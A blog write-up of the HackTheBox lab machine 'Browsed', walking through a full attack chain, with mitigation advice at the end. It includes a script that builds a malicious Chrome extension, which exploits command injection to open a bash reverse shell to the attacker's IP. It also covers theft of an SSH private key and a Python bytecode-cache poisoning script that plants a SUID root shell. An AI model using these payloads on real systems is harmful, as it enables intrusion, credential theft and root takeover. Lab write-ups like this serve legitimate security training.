Skip to main content
  1. Posts/

Browsed - HackTheBox Writeup

Table of Contents
HackTheBox Machines - This article is part of a series.
Part : This Article

Difficulty: Medium
OS: Linux
Creator: Tensho
Release Date: January 8, 2026
Target IP: 10.129.39.53


Table of Contents
#

  1. Reconnaissance
  2. Initial Foothold - Chrome Extension RCE
  3. User Access - SSH Key Discovery
  4. Privilege Escalation - Python Bytecode Cache Poisoning
  5. Flags
  6. Summary

Reconnaissance
#

Port Scanning
#

1
nmap -sC -sV -oA nmap/browsed 10.129.39.53

Open Ports:

  • Port 80: HTTP (Web Application)
  • Port 22: SSH

Web Enumeration
#

Add the target to /etc/hosts:

1
echo "10.129.39.53 browsed.htb browsedinternals.htb" | sudo tee -a /etc/hosts

Key Discoveries:

  • Main site at http://browsed.htb allows uploading Chrome extensions (.zip files)
  • Gitea instance running at browsedinternals.htb
  • Repository found: larry/MarkdownPreview at http://browsedinternals.htb/larry/MarkdownPreview/src/branch/main/app.py
  • MarkdownPreview Flask app runs on localhost:5000 and has command injection vulnerability in the /routines/ endpoint
  • Chrome is running with --no-sandbox flag (vulnerable to extension-based attacks)
  • Chrome version is 134 (vulnerable to extension exploits)

Initial Foothold - Chrome Extension RCE
#

Vulnerability Analysis
#

The web application:

  1. Accepts Chrome extension uploads (.zip files)
  2. Extensions run with permissions to access localhost
  3. Can send requests to the MarkdownPreview Flask app on 127.0.0.1:5000
  4. The /routines/ endpoint is vulnerable to command injection via bash parameter expansion

Attack Vector
#

Create a malicious Chrome extension that exploits the command injection vulnerability in the MarkdownPreview Flask app running on localhost.

Exploitation Steps
#

Step 1: Create the exploit script

Save this as create_exploit.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import zipfile
import io
import base64

def create_shell_extension(my_ip, my_port="9001"):
    zip_buffer = io.BytesIO()
    
    # Create reverse shell payload
    raw_shell = f"bash -i >& /dev/tcp/{my_ip}/{my_port} 0>&1"
    b64_shell = base64.b64encode(raw_shell.encode()).decode()
    
    # Payload using IFS and base64 encoding to bypass filters
    shell_payload = f"echo${{IFS}}{b64_shell}|base64${{IFS}}-d|bash"

    # Manifest V3 configuration
    manifest = '''{
        "manifest_version": 3,
        "name": "Security Optimizer",
        "version": "1.1",
        "background": {
            "service_worker": "background.js"
        },
        "host_permissions": ["*://127.0.0.1/*", "*://localhost/*"]
    }'''

    # Background service worker with exploit
    background = f'''
    const ip = "{my_ip}";
    const payload = "{shell_payload}";
    
    async function triggerShell() {{
        const urls = [
            `http://127.0.0.1:5000/routines/a[$(${{payload}})]`,
            `http://127.0.0.1:5000/routines/a';${{payload}} #`
        ];

        for (const url of urls) {{
            fetch(url, {{ mode: 'no-cors' }});
        }}
    }}

    triggerShell();
    '''

    # Create the ZIP file
    with zipfile.ZipFile(zip_buffer, 'a', zipfile.ZIP_DEFLATED) as zip_file:
        zip_file.writestr("manifest.json", manifest)
        zip_file.writestr("background.js", background)

    with open("shell_exploit.zip", "wb") as f:
        f.write(zip_buffer.getvalue())

    print(f"[+] shell_exploit.zip created.")
    print(f"[+] Listener command: nc -lvnp {my_port}")
    print(f"[+] Encoded payload: {shell_payload}")

if __name__ == "__main__":
    # Your HTB VPN IP
    create_shell_extension("10.10.14.82", "9001")

Step 2: Generate the malicious extension

1
python3 create_exploit.py

Output:

1
2
3
[+] shell_exploit.zip created.
[+] Listener command: nc -lvnp 9001
[+] Encoded payload: echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44Mi85MDAxIDA+JjE=|base64${IFS}-d|bash

Step 3: Set up listener

1
nc -lvnp 9001

Step 4: Upload the extension

  1. Navigate to http://browsed.htb
  2. Upload shell_exploit.zip
  3. Wait for the extension to be processed

Step 5: Catch the reverse shell

You should receive a shell as the larry user:

1
2
3
4
5
listening on [any] 9001 ...
connect to [10.10.14.82] from (UNKNOWN) [10.129.39.53] 54892
bash: cannot set terminal process group (1047): Inappropriate ioctl for device
bash: no job control in this shell
larry@browsed:~$

Step 6: Stabilize the shell (optional)

1
2
3
4
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Press Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Alternative Manual Method
#

If you prefer to create the extension manually:

Create manifest.json:

1
2
3
4
5
6
7
8
9
{
    "manifest_version": 3,
    "name": "Exploit",
    "version": "1.0",
    "background": {
        "service_worker": "background.js"
    },
    "host_permissions": ["*://127.0.0.1/*"]
}

Create background.js:

1
2
3
4
5
const cmd = btoa("bash -c 'bash -i >& /dev/tcp/10.10.14.82/9001 0>&1'");
const space = encodeURIComponent(" ");
fetch(`http://127.0.0.1:5000/routines/a[$(echo${space}${cmd}|base64${space}-d|bash)]`, {
    mode: 'no-cors'
});

Package and upload:

1
zip exploit.zip manifest.json background.js

User Access - SSH Key Discovery
#

Enumeration
#

Once you have a shell as larry, search for SSH keys:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
larry@browsed:~$ ls -la /home/larry
total 56
drwxr-x--- 9 larry larry 4096 Jan  6 11:11 .
drwxr-xr-x 4 root  root  4096 Jan  6 10:28 ..
lrwxrwxrwx 1 root  root     9 Dec 29 09:55 .bash_history -> /dev/null
-rw-r--r-- 1 larry larry  220 Mar 31  2024 .bash_logout
-rw-r--r-- 1 larry larry 3771 Mar 31  2024 .bashrc
drwx------ 4 larry larry 4096 Jan  6 10:28 .cache
drwx------ 3 larry larry 4096 Jan  6 10:28 .config
-rw-rw-r-- 1 larry larry   36 Aug 17 11:05 .gitconfig
drwx------ 3 larry larry 4096 Jan  6 10:28 .gnupg
drwxrwxr-x 3 larry larry 4096 Jan  6 10:28 .local
drwxrwxr-x 9 larry larry 4096 Jan  6 10:28 markdownPreview
drwx------ 3 larry larry 4096 Jan  6 10:28 .pki
-rw-r--r-- 1 larry larry  807 Mar 31  2024 .profile
lrwxrwxrwx 1 larry larry    9 Aug 17 13:15 .python_history -> /dev/null
drwx------ 2 larry larry 4096 Jan  6 10:28 .ssh
-rw-r----- 1 root  larry   33 Jan 12 19:07 user.txt

larry@browsed:~$ find /home/larry -name "id_*" 2>/dev/null
/home/larry/.ssh/id_ed25519
/home/larry/.ssh/id_ed25519.pub

SSH Key Discovery
#

The SSH private key uses ED25519 algorithm (not RSA):

1
larry@browsed:~$ cat /home/larry/.ssh/id_ed25519

Establish Stable SSH Connection
#

Step 1: Copy the private key to your attack machine

1
2
# On target
cat /home/larry/.ssh/id_ed25519

Step 2: Save and set permissions on Kali

1
2
3
4
5
# On attacker machine
nano larry_id_ed25519
# Paste the key content

chmod 600 larry_id_ed25519

Step 3: SSH as larry

1
ssh -i larry_id_ed25519 larry@10.129.39.53

Successful connection:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.8.0-90-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Mon Jan 12 07:36:23 PM UTC 2026

  System load:  0.0               Processes:             219
  Usage of /:   60.0% of 7.11GB   Users logged in:       0
  Memory usage: 18%               IPv4 address for eth0: 10.129.39.53
  Swap usage:   0%

Last login: Mon Jan 12 19:36:24 2026 from 10.10.14.82
larry@browsed:~$

Privilege Escalation - Python Bytecode Cache Poisoning
#

Enumeration
#

Check sudo privileges:

1
2
3
4
5
6
larry@browsed:~$ sudo -l
Matching Defaults entries for larry on browsed:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User larry may run the following commands on browsed:
    (root) NOPASSWD: /opt/extensiontool/extension_tool.py

Examine the script and permissions:

1
2
3
larry@browsed:~$ cat /opt/extensiontool/extension_tool.py
larry@browsed:~$ ls -la /opt/extensiontool/
larry@browsed:~$ ls -la /opt/extensiontool/__pycache__/

Key Finding:

  • The __pycache__ directory is world-writable
  • Python uses .pyc bytecode cache files from this directory
  • The script imports extension_utils.py
  • We can poison the cache with malicious bytecode that executes as root

Vulnerability: Python Bytecode Cache Poisoning
#

Python uses cached bytecode (.pyc files) to speed up module imports. When a Python script runs:

  1. Python checks if a .pyc file exists in __pycache__
  2. If the .pyc file’s timestamp and size match the source .py file, Python uses the cached bytecode
  3. Crucially: Python doesn’t verify the actual content matches

If we can write to __pycache__, we can inject malicious bytecode that will execute with root privileges when the script runs with sudo.

Exploitation Steps
#

Step 1: Create the exploit script

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
cat << 'EOF' > /tmp/exploit.py
import os
import py_compile
import shutil
import sys

ORIGINAL_SRC = "/opt/extensiontool/extension_utils.py"
MALICIOUS_SRC = "/tmp/extension_utils.py"
TARGET_PYC = "/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc"

# Get original file stats
stat = os.stat(ORIGINAL_SRC)
target_size = stat.st_size

# Malicious payload - creates SUID bash
payload = 'import os\ndef validate_manifest(path): os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"); return {}\ndef clean_temp_files(arg): pass\n'

# Pad to match original file size (critical for bypassing checks)
padding_needed = target_size - len(payload)
payload += "#" * padding_needed

# Write malicious source
with open(MALICIOUS_SRC, "w") as f:
    f.write(payload)

# Match original timestamps to fool Python's cache validation
os.utime(MALICIOUS_SRC, (stat.st_atime, stat.st_mtime))

# Compile to bytecode
py_compile.compile(MALICIOUS_SRC, cfile="/tmp/malicious.pyc")

# Inject into cache directory
if os.path.exists(TARGET_PYC):
    os.remove(TARGET_PYC)
shutil.copy("/tmp/malicious.pyc", TARGET_PYC)

print("[+] Poisoned .pyc injected successfully")
EOF

Step 2: Run the exploit

1
2
larry@browsed:~$ python3.12 /tmp/exploit.py
[+] Poisoned .pyc injected successfully

Step 3: Trigger the malicious bytecode

When we run the extension tool with sudo, it loads our poisoned bytecode instead of the legitimate code:

1
2
3
larry@browsed:~$ sudo /opt/extensiontool/extension_tool.py --ext Fontify
[-] Skipping version bumping
[-] Skipping packaging

This executes our malicious code as root, creating /tmp/rootbash with SUID permissions.

Step 4: Get root shell

1
2
larry@browsed:~$ /tmp/rootbash -p
rootbash-5.2#

The -p flag preserves the SUID privileges, giving us a root shell.

Step 5: Navigate and retrieve the root flag

1
2
3
4
5
rootbash-5.2# cd /root
rootbash-5.2# ls
root.txt  scripts
rootbash-5.2# cat root.txt
d57406e4a4688861a90e754b8dbf5be5

How the Attack Works
#

  1. Size Matching: We pad our malicious code to exactly match the original file size
  2. Timestamp Spoofing: We copy the original file’s modification time to our malicious version
  3. Bytecode Compilation: We compile our code to .pyc bytecode
  4. Cache Poisoning: We replace the legitimate .pyc in __pycache__
  5. Execution: When Python loads the module, it sees matching size/timestamp and uses our malicious bytecode
  6. SUID Creation: Our code creates a SUID copy of bash that we can execute for root access

Manual Alternative (Without Script)
#

If you prefer step-by-step commands:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# Create malicious Python file
cat > /tmp/extension_utils.py << 'EOF'
import os
def validate_manifest(path): 
    os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")
    return {}
def clean_temp_files(arg): 
    pass
EOF

# Get original file size
original_size=$(stat -c%s /opt/extensiontool/extension_utils.py)
current_size=$(stat -c%s /tmp/extension_utils.py)

# Calculate padding needed
padding=$((original_size - current_size))

# Add padding
python3 -c "print('#' * $padding)" >> /tmp/extension_utils.py

# Match timestamps
touch -r /opt/extensiontool/extension_utils.py /tmp/extension_utils.py

# Compile to bytecode
python3.12 -m py_compile /tmp/extension_utils.py

# Copy to cache
cp /tmp/__pycache__/extension_utils.cpython-312.pyc /opt/extensiontool/__pycache__/

# Trigger
sudo /opt/extensiontool/extension_tool.py --ext Fontify

# Get root
/tmp/rootbash -p

Flags
#

User Flag
#

1
2
larry@browsed:~$ cat user.txt
[REDACTED]

Root Flag
#

1
2
rootbash-5.2# cat /root/root.txt
[REDACTED]

Summary
#

Attack Chain
#

  1. Reconnaissance: Discovered Chrome extension upload functionality and Gitea repository containing MarkdownPreview Flask app source code
  2. Initial Foothold: Created malicious Chrome Manifest V3 extension that exploited command injection in the /routines/ endpoint via localhost access
  3. User Access: Found ED25519 SSH private key in larry’s home directory for stable shell access
  4. Privilege Escalation: Exploited world-writable Python __pycache__ directory to inject malicious bytecode that executes as root, creating SUID bash for privilege escalation

Key Techniques
#

  • Chrome Extension Exploitation: Leveraging browser extensions with localhost permissions to access internal services
  • Command Injection via Parameter Expansion: Exploiting bash parameter expansion a[$(command)] for code execution
  • Python Bytecode Poisoning: Manipulating .pyc cache files to inject malicious code by matching file size and timestamps
  • SUID Binary Creation: Creating SUID copy of bash for privilege escalation

Vulnerabilities Exploited
#

  1. Insecure Chrome Extension Handling: No validation or sandboxing of uploaded extensions
  2. Command Injection: User input directly interpolated into shell commands without sanitization
  3. World-Writable Cache Directory: /opt/extensiontool/__pycache__/ writable by all users
  4. Sudo Misconfiguration: Ability to run Python script as root without password
  5. Weak Bytecode Validation: Python only checks file size and timestamp, not actual content integrity

Timeline
#

  • Initial Access: Achieved via malicious Chrome extension upload
  • User Shell: Obtained reverse shell as larry user
  • Stable Access: Established via ED25519 SSH key
  • Root Access: Gained through Python bytecode cache poisoning

Mitigation Recommendations
#

  1. Chrome Extensions:

    • Implement strict validation of uploaded extensions
    • Use Content Security Policy (CSP) to restrict extension capabilities
    • Sandbox extension execution environment
    • Validate extension manifests and code before installation
  2. Command Injection Prevention:

    • Never pass user input directly to shell commands
    • Use parameterized functions like subprocess.run() with lists instead of shell=True
    • Implement input validation and sanitization
    • Use allowlists for acceptable input patterns
  3. File System Permissions:

    • Ensure __pycache__ directories are not world-writable
    • Set proper ownership (root:root) for system directories
    • Use chmod 755 or more restrictive permissions
  4. Sudo Configuration:

    • Minimize sudo privileges to only necessary commands
    • Implement bytecode integrity checking before execution
    • Use sudo -E restrictions and validate PYTHONPATH
    • Consider using checksums or digital signatures for critical scripts
  5. Python Security:

    • Set PYTHONDONTWRITEBYTECODE=1 to disable bytecode caching
    • Use python -B flag to ignore bytecode cache files
    • Implement file integrity monitoring for critical Python modules
    • Restrict write permissions on Python library directories
  6. Defense in Depth:

    • Implement SELinux or AppArmor policies
    • Use file integrity monitoring (AIDE, Tripwire)
    • Regular security audits of file permissions
    • Monitor for suspicious SUID file creation

References
#



Author Notes: This writeup demonstrates a realistic attack chain involving modern web technologies (Chrome extensions), internal service exploitation, and advanced privilege escalation through bytecode manipulation. The Python bytecode poisoning technique is particularly educational as it exploits Python’s caching mechanism in a creative way that’s not commonly seen in CTF environments.

The box effectively teaches:

  • Modern browser security concepts
  • Command injection exploitation techniques
  • Python internals and bytecode compilation
  • Linux privilege escalation methodologies
  • The importance of proper file permissions in multi-user systems
I hope this was helpful
Posted:
Time since posted: calculating...
System.Motivation.Load()
Reply by Email
Adonijah Kiplimo
Author
Adonijah Kiplimo
Cybersecurity professional specializing in Network & Cloud Security, Digital Forensics, and Penetration Testing. Passionate about sharing knowledge and empowering others through hands-on security training.
HackTheBox Machines - This article is part of a series.
Part : This Article

Related